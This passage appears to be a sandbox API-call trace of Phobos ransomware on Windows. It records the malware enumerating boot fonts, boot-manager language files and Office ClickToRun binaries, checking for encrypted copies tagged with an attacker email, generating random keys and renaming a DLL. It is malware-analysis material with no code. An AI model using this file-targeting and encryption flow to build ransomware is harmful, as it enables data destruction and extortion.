(lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20 [0124.565] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.566] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.566] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.567] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.567] ResetEvent (hEvent=0x514) returned 1 [0124.567] SetEvent (hEvent=0x518) returned 1 [0124.567] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.567] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.567] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=156245) returned 1 [0124.567] CloseHandle (hObject=0x588) returned 1 [0124.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0124.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.568] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.568] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.569] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.570] ResetEvent (hEvent=0x514) returned 1 [0124.570] SetEvent (hEvent=0x518) returned 1 [0124.570] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.570] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.570] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=85862) returned 1 [0124.570] CloseHandle (hObject=0x588) returned 1 [0124.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0124.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.570] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.570] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.571] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.572] ResetEvent (hEvent=0x514) returned 1 [0124.572] SetEvent (hEvent=0x518) returned 1 [0124.572] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.572] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.572] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=49091) returned 1 [0124.572] CloseHandle (hObject=0x588) returned 1 [0124.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0124.572] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.572] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.572] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.574] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.574] ResetEvent (hEvent=0x514) returned 1 [0124.574] SetEvent (hEvent=0x518) returned 1 [0124.574] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.574] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.574] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=79192) returned 1 [0124.574] CloseHandle (hObject=0x588) returned 1 [0124.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0124.574] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.574] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.575] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.576] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.576] ResetEvent (hEvent=0x514) returned 1 [0124.576] SetEvent (hEvent=0x518) returned 1 [0124.576] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.576] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.576] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=76640) returned 1 [0124.576] CloseHandle (hObject=0x588) returned 1 [0124.576] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui")) returned 0x20 [0124.577] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.577] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.577] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.578] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.578] ResetEvent (hEvent=0x514) returned 1 [0124.578] SetEvent (hEvent=0x518) returned 1 [0124.578] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.578] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.579] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=45976) returned 1 [0124.579] CloseHandle (hObject=0x588) returned 1 [0124.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui")) returned 0x20 [0124.579] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.579] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.579] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.580] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.580] ResetEvent (hEvent=0x514) returned 1 [0124.580] SetEvent (hEvent=0x518) returned 1 [0124.580] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.581] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.581] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=45472) returned 1 [0124.581] CloseHandle (hObject=0x588) returned 1 [0124.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui")) returned 0x20 [0124.581] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\it-it\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.581] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.581] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.582] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.583] ResetEvent (hEvent=0x514) returned 1 [0124.583] SetEvent (hEvent=0x518) returned 1 [0124.583] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.583] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.583] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=42904) returned 1 [0124.583] CloseHandle (hObject=0x588) returned 1 [0124.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui")) returned 0x20 [0124.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.583] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.583] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.585] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.585] ResetEvent (hEvent=0x514) returned 1 [0124.585] SetEvent (hEvent=0x518) returned 1 [0124.585] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.585] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.585] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=42912) returned 1 [0124.585] CloseHandle (hObject=0x588) returned 1 [0124.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui")) returned 0x20 [0124.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.585] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\memtest.exe.mui" (normalized: "c:\\boot\\ko-kr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.585] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.587] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.587] ResetEvent (hEvent=0x514) returned 1 [0124.587] SetEvent (hEvent=0x518) returned 1 [0124.587] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.587] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.587] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75608) returned 1 [0124.587] CloseHandle (hObject=0x588) returned 1 [0124.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui")) returned 0x20 [0124.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.587] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.588] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.591] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.591] ResetEvent (hEvent=0x514) returned 1 [0124.591] SetEvent (hEvent=0x518) returned 1 [0124.591] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.591] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.591] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=75616) returned 1 [0124.591] CloseHandle (hObject=0x588) returned 1 [0124.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0124.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.591] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.592] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.593] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.593] ResetEvent (hEvent=0x514) returned 1 [0124.593] SetEvent (hEvent=0x518) returned 1 [0124.593] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.593] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.593] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=78176) returned 1 [0124.593] CloseHandle (hObject=0x588) returned 1 [0124.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0124.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.594] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.594] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.595] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.595] ResetEvent (hEvent=0x514) returned 1 [0124.595] SetEvent (hEvent=0x518) returned 1 [0124.595] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.595] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.596] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=77656) returned 1 [0124.596] CloseHandle (hObject=0x588) returned 1 [0124.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0124.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.596] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.596] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.597] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.597] ResetEvent (hEvent=0x514) returned 1 [0124.597] SetEvent (hEvent=0x518) returned 1 [0124.597] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.597] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0124.598] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=76640) returned 1 [0124.598] CloseHandle (hObject=0x588) returned 1 [0124.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0124.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.598] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.598] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0xffffffff) returned 0x0 [0124.744] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.745] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=358616) returned 1 [0124.745] CloseHandle (hObject=0x580) returned 1 [0124.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0124.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.745] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3fffca0 | out: pbBuffer=0x3fffca0) returned 1 [0124.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0124.745] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3fffc40 | out: lpFileSize=0x3fffc40*=3144288) returned 1 [0124.745] CloseHandle (hObject=0x580) returned 1 [0124.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20 [0124.745] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 